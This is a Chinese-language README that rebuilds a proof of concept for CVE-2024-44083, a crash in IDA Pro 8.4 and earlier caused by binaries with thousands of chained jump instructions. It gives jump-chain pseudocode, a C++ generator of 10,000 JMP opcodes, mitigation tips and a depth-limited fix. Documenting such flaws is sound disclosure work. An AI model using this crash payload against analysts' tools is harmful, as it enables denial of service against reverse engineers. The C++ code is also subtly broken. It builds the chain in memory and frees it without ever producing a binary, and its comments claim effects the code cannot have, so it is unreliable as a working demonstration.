原始 PoC 仓库已被删除(github.com/Azvanzed/CVE-2024-44083、github.com/Azvanzed/IdaMeme),因此这里重新创建。我想为任何想了解其工作原理或测试自己环境的人重建它。
IDA Pro ≤ 8.4 在分析包含过多跳转链的二进制文件时会崩溃。
ida64.dll 没有限制其跟踪跳转链的深度。因此,如果你有一个包含数千个链接跳转的二进制文件,最终指向入口点,IDA 就会自行崩溃。
| 字段 | 值 |
|---|---|
| CVE | CVE-2024-44083 |
| 影响版本 | IDA Pro ≤ 8.4 |
| 组件 | ida64.dll |
| CWE | CWE-770(资源耗尽) |
| 影响 | 崩溃(DoS) |
思路很简单:创建一个节区,其中充满不断跳转到更多跳转的指令。
; 伪代码
section .text
; 数千个这样的跳转
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... 继续 ...
jump_9999:
jmp payload
payload:
call _start ; 这创建了导致问题的交叉引用
_start:
; IDA 试图解析所有指向这里的跳转
; 砰,崩溃
ret
IDA 尝试跟踪所有这些跳转并构建交叉引用,当跳转足够多时,它就会放弃并崩溃。
如果你想用 C++ 实现类似的东西,可以这样做:
#include <windows.h>
#include <cstring>
// 思路是生成大量链接的跳转指令
// 最终指向入口点
void generate_jump_chain() {
// 为跳转链分配可执行内存
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000个跳转 × 5字节 + 额外空间
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// 创建10,000个链接的跳转
for (int i = 0; i < 10000; i++) {
// 写入 JMP rel32 指令 (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP 操作码
// 计算到下一个跳转的相对偏移(5字节之后)
int32_t rel = 5;
// 复制4字节相对偏移
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// 最后一个跳转创建循环引用
// 向后跳5字节,形成无限循环
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// 你也可以返回一个值使其看起来更可信
offset += 5;
code[offset] = 0xC3; // ret
// 这是导致 IDA 崩溃的模式:
// 10,000个跳转 → 自引用跳转 → IDA 卡住
// 递归没有深度限制 → 栈溢出 → 崩溃
// 清理
VirtualFree(code, 0, MEM_RELEASE);
}
基本上你只是写了一大堆链接在一起的 JMP 指令。当 IDA 试图智能分析时,它会耗尽栈/内存。
如果你仍在使用旧版 IDA:
打开可疑文件前禁用自动分析
限制对可疑节区的分析
Hex-Rays 应该做的:
// 伪代码
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("跳转链过深。失败。");
return; // 不要崩溃,直接停止
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
仅需添加一个深度限制即可。
仅供教育目的,不要使坏。